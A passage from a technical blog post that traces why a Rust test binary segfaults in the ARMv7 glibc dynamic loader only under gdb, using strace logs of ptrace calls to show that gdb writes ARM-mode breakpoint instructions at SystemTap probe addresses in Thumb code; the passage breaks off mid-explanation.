        __GI__dl_argv = &lt;error reading variable __GI__dl_argv (Cannot access memory at address 0x29894)&gt;
        __pointer_chk_guard_local = &lt;error reading variable __pointer_chk_guard_local (Cannot access memory at address 0x28964)&gt;
</code></pre>
<p>You can grab the glibc source and see that the dynamic loader ends up here in elf/rtld.c:</p>
<pre><code>if (__glibc_unlikely (GLRO(dl_naudit) &gt; 0))
  {
    struct link_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded;
    /* Do not call the functions for any auditing object.  */
    if (head-&gt;l_auditing == 0)
      {
        struct audit_ifaces *afct = GLRO(dl_audit);
        for (unsigned int cnt = 0; cnt &lt; GLRO(dl_naudit); ++cnt)
          {
            if (afct-&gt;activity != NULL) // ##CRASHES HERE##
              afct-&gt;activity (&amp;head-&gt;l_audit[cnt].cookie, LA_ACT_CONSISTENT);

            afct = afct-&gt;next;
          }
      }
  }
</code></pre>
<p>The reason for the crash is that <code>afct</code> is NULL:</p>
<pre><code>(gdb) p $_siginfo
$1 = {si_signo = 11, si_errno = 0, si_code = 1, _sifields = {_pad = {0, 56, 19628232, 19628288, -156661788, 0, 80, 19811416, -156663808, -157316581, 104, 1073741824, 19811416, 96, 19811408, 80, -156661788, 14, 
      19551104, 96, 104, 13358248, 19551584, 19552160, 19552232, 19811488, 32, 128, 64}, _kill = {si_pid = 0, si_uid = 56}, _timer = {si_tid = 0, si_overrun = 56, si_sigval = {sival_int = 19628232, 
        sival_ptr = 0x12b80c8}}, _rt = {si_pid = 0, si_uid = 56, si_sigval = {sival_int = 19628232, sival_ptr = 0x12b80c8}}, _sigchld = {si_pid = 0, si_uid = 56, si_status = 19628232, si_utime = 19628288, 
      si_stime = -156661788}, _sigfault = {si_addr = 0x0}, _sigpoll = {si_band = 0, si_fd = 56}}}
(gdb) p afct
$2 = (struct audit_ifaces *) 0x0
</code></pre>
<p>A quick look through the dynamic loader code shows that this condition should be impossible to hit.</p>
<p>As the crash doesn&#8217;t happen with debug symbols, I thought I would attempt to debug it without the symbols. First of all, I set a breakpoint at the start of <code>dl_main</code> by specifying it at offset 0xcec in the <code>.text</code> section:</p>
<pre><code>$ gdb build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf
...
(gdb) starti
Starting program: /home/ubuntu/src/rustc/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf

Program stopped.
0xf77c7b80 in ?? () from /lib/ld-linux-armhf.so.3
(gdb) info sharedlibrary
From        To          Syms Read   Shared Object Library
0xf77c7a40  0xf77dadd0  Yes (*)     /lib/ld-linux-armhf.so.3
(*): Shared library is missing debugging information.
(gdb) break *0xf77c872c
Breakpoint 1 at 0xf77c872c
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xf77da458 in ?? () from /lib/ld-linux-armhf.so.3
</code></pre>
<p>Huh? It&#8217;s now crashed at a different place, without hitting our breakpoint at the start of <code>dl_main</code>. Loading the debug symbols again shows us where:</p>
<pre><code>(gdb) add-symbol-file ~/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so 0xf77c7a40
add symbol table from file "/home/ubuntu/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so" at
        .text_addr = 0xf77c7a40
(y or n) y
Reading symbols from /home/ubuntu/libc6-syms/usr/lib/debug/lib/arm-linux-gnueabihf/ld-2.27.so...done.
(gdb) bt
#0  ?? () at ../sysdeps/arm/armv7/multiarch/memcpy_impl.S:654 from /lib/ld-linux-armhf.so.3
#1  0xf77c871e in handle_ld_preload (preloadlist=&lt;optimized out&gt;, main_map=0x0) at rtld.c:848
#2  0x00000000 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
</code></pre>
<p>This doesn&#8217;t make much sense, but the fact that setting a breakpoint has altered the program flow is our first clue.</p>
<p>On Linux, gdb interacts with the inferior using the <a href="http://man7.org/linux/man-pages/man2/ptrace.2.html">ptrace</a> system call. The next thing I wanted to try was running gdb in <a href="https://linux.die.net/man/1/strace">strace</a> in order to capture the ptrace syscalls, so that I could compare differences afterwards and see if I could find any more clues.</p>
<p>I created the following simple gdb command file:</p>
<pre><code>file /home/ubuntu/src/rustc/rustc-1.25.0+dfsg1+llvm/build/armv7-unknown-linux-gnueabihf/test/debuginfo/borrowed-c-style-enum.stage2-armv7-unknown-linux-gnueabihf
run
quit
</code></pre>
<p>I then ran gdb with this file inside strace, with the symbols for the dynamic loader installed. Here&#8217;s the log up until the point at which gdb calls <code>PTRACE_CONT</code>:</p>
<pre><code>$ strace -t -eptrace gdb -quiet -batch -nx -command=~/test.script
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21136, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
...
13:08:35 ptrace(PTRACE_GETREGS, 21137, NULL, 0xffd6afec) = 0
13:08:35 ptrace(PTRACE_GETSIGINFO, 21137, NULL, {si_signo=SIGTRAP, si_code=SI_USER, si_pid=21137, si_uid=1000}) = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21137, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_CONT, 21137, 0x1, SIG_0) = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21137, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_GETREGS, 21137, NULL, 0xffd6afec) = 0
13:08:35 ptrace(PTRACE_GETSIGINFO, 21137, NULL, {si_signo=SIGTRAP, si_code=SI_USER, si_pid=21137, si_uid=1000}) = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21138, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_SETOPTIONS, 21138, NULL, PTRACE_O_TRACESYSGOOD) = 0
13:08:35 ptrace(PTRACE_SETOPTIONS, 21138, NULL, PTRACE_O_TRACEFORK) = 0
13:08:35 ptrace(PTRACE_SETOPTIONS, 21138, NULL, PTRACE_O_TRACEFORK|PTRACE_O_TRACEVFORKDONE) = 0
13:08:35 ptrace(PTRACE_CONT, 21138, NULL, SIG_0) = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21138, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_GETEVENTMSG, 21138, NULL, [21139]) = 0
13:08:35 ptrace(PTRACE_KILL, 21139)     = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=21139, si_uid=1000, si_status=SIGKILL, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_SETOPTIONS, 21138, NULL, PTRACE_O_EXITKILL) = 0
13:08:35 ptrace(PTRACE_KILL, 21138)     = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21138, si_uid=1000, si_status=SIGCHLD, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_KILL, 21138)     = 0
13:08:35 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=21138, si_uid=1000, si_status=SIGKILL, si_utime=0, si_stime=0} ---
13:08:35 ptrace(PTRACE_SETOPTIONS, 21137, NULL, PTRACE_O_TRACESYSGOOD|PTRACE_O_TRACEFORK|PTRACE_O_TRACEVFORK|PTRACE_O_TRACECLONE|PTRACE_O_TRACEEXEC|PTRACE_O_TRACEVFORKDONE|PTRACE_O_EXITKILL) = 0
13:08:35 ptrace(PTRACE_GETREGSET, 21137, NT_PRSTATUS, [{iov_base=0xffd6b3b4, iov_len=72}]) = 0
13:08:35 ptrace(PTRACE_GETVFPREGS, 21137, NULL, 0xffd6b298) = 0
13:08:35 ptrace(PTRACE_GETREGSET, 21137, NT_PRSTATUS, [{iov_base=0xffd6b36c, iov_len=72}]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0x411efc, [NULL]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0x411efc, [NULL]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18bf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9a44, 0x4c18de01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9ef8, [0xf00cbf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9ef8, 0xf00cde01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cbf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb5b8, 0x603cde01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639bf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb220, 0x4639de01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5310, [0xbf00e71c]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5310, 0xde01e71c) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5bb0, 0x6d7bde01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5d90, [0xe681bf00]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5d90, 0xe681de01) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77c9a44, [0x4c18de01]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9a44, 0x4c18bf00) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb5b8, [0x603cde01]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb5b8, 0x603cbf00) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77cb220, [0x4639de01]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb220, 0x4639bf00) = 0
13:08:35 ptrace(PTRACE_PEEKTEXT, 21137, 0xf77d5bb0, [0x6d7bde01]) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5bb0, 0x6d7bbf00) = 0
13:08:35 ptrace(PTRACE_CONT, 21137, 0x1, SIG_0) = 0
</code></pre>
<p>First of all, notice that there are several <code>PTRACE_POKEDATA</code> calls. These are used by gdb to write to memory locations in the process that we&#8217;re debugging, eg, to set breakpoints. For more information about how breakpoints work in gdb, <a href="https://blog.0x972.info/?d=2014/11/13/10/40/50-how-does-a-debugger-work">this</a> blog post has some good information. Basically, gdb writes an invalid instruction to the breakpoint location and this causes a <code>SIGTRAP</code> when executed, which is intercepted by gdb. When you continue over the breakpoint, gdb writes the original instruction back, single-steps over it, re-writes the invalid instruction and then continues execution.</p>
<p>This is an obvious way in which gdb can interfere with our process and make it crash, so I focused on these calls. I&#8217;ve filtered them out below:</p>
<pre><code>13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9a44, 0x4c18de01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9ef8, 0xf00cde01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb5b8, 0x603cde01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb220, 0x4639de01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5310, 0xde01e71c) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5bb0, 0x6d7bde01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5d90, 0xe681de01) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77c9a44, 0x4c18bf00) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb5b8, 0x603cbf00) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77cb220, 0x4639bf00) = 0
13:08:35 ptrace(PTRACE_POKEDATA, 21137, 0xf77d5bb0, 0x6d7bbf00) = 0
</code></pre>
<p>Notice that the first 7 of these write the same 2-byte sequence &#8211; 0xde01. These are breakpoints in code that is running in Thumb mode (see <code>arm_linux_thumb_le_breakpoint</code> in gdb/arm-linux-tdep.c in the gdb source code). 0xde01 in Thumb mode is an undefined instruction.</p>
<p>(Note that the write to 0xf77d5310 is actually a breakpoint at 0xf77d5312, as 0xde01 appears in the 2 higher order bytes and this is little-endian).</p>
<p>We aren&#8217;t inserting any breakpoints ourselves &#8211; these breakpoints are set automatically by gdb to monitor various events in the dynamic loader during startup. This is something I wasn&#8217;t aware of before debugging this.</p>
<p>It may be useful to know how gdb determines the addresses on which to set breakpoints at startup. The dynamic loader exports various events as SystemTap probes, and data about these is stored in the <code>.note.stapsdt</code> ELF section. We can inspect this using <code>readelf</code>:</p>
<pre><code>$ readelf -n /lib/ld-linux-armhf.so.3

Displaying notes found in: .note.gnu.build-id                                                            
  Owner                 Data size       Description                          
  GNU                  0x00000014       NT_GNU_BUILD_ID (unique build ID bitstring)                      
    Build ID: 3f3b9b4bfea2654f2cedf6db2d120b4e3a39ea7e                      

Displaying notes found in: .note.stapsdt                                                                 
  Owner                 Data size       Description 
  stapsdt              0x00000032       NT_STAPSDT (SystemTap probe descriptors)                         
    Provider: rtld                                           
    Name: init_start                                
    Location: 0x00002a44, Base: 0x00017b9c, Semaphore: 0x00000000                                        
    Arguments: -4@.L1204 4@[r7, #52]                      
  stapsdt              0x0000002e       NT_STAPSDT (SystemTap probe descriptors)                         
    Provider: rtld                                  
    Name: init_complete                                              
    Location: 0x00002ef8, Base: 0x00017b9c, Semaphore: 0x00000000                                        
    Arguments: -4@.L1207 4@r4                                           
  stapsdt              0x0000002e       NT_STAPSDT (SystemTap probe descriptors)                         
    Provider: rtld
    Name: map_failed
    Location: 0x00004220, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[sp, #20] 4@r5
  stapsdt              0x00000035       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: map_start
    Location: 0x000045b8, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[r7, #252] 4@[r7, #72]
  stapsdt              0x0000003c       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: map_complete
    Location: 0x0000e020, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[fp, #20] 4@[r7, #36] 4@r4
  stapsdt              0x00000036       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: reloc_start
    Location: 0x0000e09e, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[fp, #20] 4@[r7, #36]
  stapsdt              0x0000003e       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: reloc_complete
    Location: 0x0000e312, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[fp, #20] 4@[r7, #36] 4@r4
  stapsdt              0x00000037       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: unmap_start
    Location: 0x0000ebb0, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[r7, #104] 4@[r7, #80]
  stapsdt              0x0000003a       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: unmap_complete
    Location: 0x0000ed90, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: -4@[r7, #104] 4@[r7, #80]
  stapsdt              0x00000029       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: setjmp
    Location: 0x0001201c, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: 4@r0 -4@r1 4@r14
  stapsdt              0x00000029       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: longjmp
    Location: 0x00012088, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: 4@r0 -4@r1 4@r4
  stapsdt              0x00000031       NT_STAPSDT (SystemTap probe descriptors)
    Provider: rtld
    Name: longjmp_target
    Location: 0x000120ba, Base: 0x00017b9c, Semaphore: 0x00000000
    Arguments: 4@r0 -4@r1 4@r14
</code></pre>
<p>GDB uses this information to map events to breakpoint addresses. You can read a bit more about gdb&#8217;s linker interface <a href="https://sourceware.org/gdb/wiki/LinkerInterface">here</a>, and more about userspace SystemTap probes <a href="https://sourceware.org/systemtap/wiki/UserSpaceProbeImplementation">here</a>.</p>
<p>With a base address of 0xf77c7000, we can look at the <code>PTRACE_POKEDATA</code> calls and see that the addresses map to these probes:</p>
<ul>
<li>0xf77c9a44 => <code>init_start</code></li>
<li>0xf77c9ef8 => <code>init_complete</code></li>
<li>0xf77cb5b8 => <code>map_start</code></li>
<li>0xf77cb220 => <code>map_failed</code></li>
<li>0xf77d5312 => <code>reloc_complete</code></li>
<li>0xf77d5bb0 => <code>unmap_start</code></li>
<li>0xf77d5d90 => <code>unmap_complete</code></li>
</ul>
<p>This is consistent with the <code>probe_info</code> array in gdb/solib-svr4.c in the gdb source code.</p>
<p>I then ran gdb inside strace again, this time without the symbols for the dynamic loader installed. Here&#8217;s the log up until the point at which the inferior process crashes:</p>
<pre><code>$ strace -t -eptrace gdb -quiet -batch -nx -command=~/test.script
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=21098, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
...
13:01:50 ptrace(PTRACE_GETREGS, 21099, NULL, 0xffb84a9c) = 0                                                                                                                                                       
13:01:50 ptrace(PTRACE_GETSIGINFO, 21099, NULL, {si_signo=SIGTRAP, si_code=SI_USER, si_pid=21099, si_uid=1000}) = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21099, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_CONT, 21099, 0x1, SIG_0) = 0                                                      
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21099, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_GETREGS, 21099, NULL, 0xffb84a9c) = 0
13:01:50 ptrace(PTRACE_GETSIGINFO, 21099, NULL, {si_signo=SIGTRAP, si_code=SI_USER, si_pid=21099, si_uid=1000}) = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21100, si_uid=1000, si_status=SIGSTOP, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_SETOPTIONS, 21100, NULL, PTRACE_O_TRACESYSGOOD) = 0
13:01:50 ptrace(PTRACE_SETOPTIONS, 21100, NULL, PTRACE_O_TRACEFORK) = 0
13:01:50 ptrace(PTRACE_SETOPTIONS, 21100, NULL, PTRACE_O_TRACEFORK|PTRACE_O_TRACEVFORKDONE) = 0
13:01:50 ptrace(PTRACE_CONT, 21100, NULL, SIG_0) = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21100, si_uid=1000, si_status=SIGTRAP, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_GETEVENTMSG, 21100, NULL, [21101]) = 0
13:01:50 ptrace(PTRACE_KILL, 21101)     = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=21101, si_uid=1000, si_status=SIGKILL, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_SETOPTIONS, 21100, NULL, PTRACE_O_EXITKILL) = 0
13:01:50 ptrace(PTRACE_KILL, 21100)     = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21100, si_uid=1000, si_status=SIGCHLD, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_KILL, 21100)     = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_KILLED, si_pid=21100, si_uid=1000, si_status=SIGKILL, si_utime=0, si_stime=0} ---
13:01:50 ptrace(PTRACE_SETOPTIONS, 21099, NULL, PTRACE_O_TRACESYSGOOD|PTRACE_O_TRACEFORK|PTRACE_O_TRACEVFORK|PTRACE_O_TRACECLONE|PTRACE_O_TRACEEXEC|PTRACE_O_TRACEVFORKDONE|PTRACE_O_EXITKILL) = 0
13:01:50 ptrace(PTRACE_GETREGSET, 21099, NT_PRSTATUS, [{iov_base=0xffb84e64, iov_len=72}]) = 0
13:01:50 ptrace(PTRACE_GETVFPREGS, 21099, NULL, 0xffb84d48) = 0
13:01:50 ptrace(PTRACE_GETREGSET, 21099, NT_PRSTATUS, [{iov_base=0xffb84e1c, iov_len=72}]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0x411efc, [NULL]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0x411efc, [NULL]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77c9a44, [0x4c18bf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77c9a44, [0x4c18bf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9a44, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77c9ef8, [0xf00cbf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77c9ef8, [0xf00cbf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9ef8, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77cb5b8, [0x603cbf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77cb5b8, [0x603cbf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb5b8, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77cb220, [0x4639bf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77cb220, [0x4639bf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb220, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5310, [0xbf00e71c]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5314, [0x4620e776]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5310, [0xbf00e71c]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5314, [0x4620e776]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5310, [0xbf00e71c]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5310, 0x1f0e71c) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5314, [0x4620e776]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5314, 0x4620e7f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5bb0, [0x6d7bbf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5bb0, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5d90, [0xe681bf00]) = 0
13:01:50 ptrace(PTRACE_PEEKTEXT, 21099, 0xf77d5d90, [0xe681bf00]) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5d90, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9a44, 0x4c18bf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb5b8, 0x603cbf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb220, 0x4639bf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5bb0, 0x6d7bbf00) = 0
13:01:50 ptrace(PTRACE_CONT, 21099, 0x1, SIG_0) = 0
13:01:50 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=21099, si_uid=1000, si_status=SIGSEGV, si_utime=0, si_stime=0} ---
</code></pre>
<p>Focusing again on the <code>PTRACE_POKEDATA</code> calls:</p>
<pre><code>13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9a44, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9ef8, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb5b8, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb220, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5310, 0x1f0e71c) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5314, 0x4620e7f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5bb0, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5d90, 0xe7f001f0) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77c9a44, 0x4c18bf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb5b8, 0x603cbf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77cb220, 0x4639bf00) = 0
13:01:50 ptrace(PTRACE_POKEDATA, 21099, 0xf77d5bb0, 0x6d7bbf00) = 0
</code></pre>
<p>We see writes to the same 7 addresses where breakpoints were set during the first run, but now there&#8217;s a different byte sequence and an extra write. This time, gdb is writing a 4-byte sequence &#8211; 0xe7f001f0 to 6 addresses. These are breakpoints for code running in ARM mode (see <code>eabi_linux_arm_le_breakpoint</code> in gdb/arm-linux-tdep.c in the gdb source code). The 2 writes to 0xf77d5310 and 0xf77d5314 are a single breakpoint at 0xf77d5312 (there are 2 writes because it is not on a 4-byte boundary).</p>
<p>Checking the ARMv7 reference manual shows that 0xe7f001f0 is an undefined instruction in ARM mode. However, this byte sequence is decoded as the following valid instructions in Thumb mode:</p>
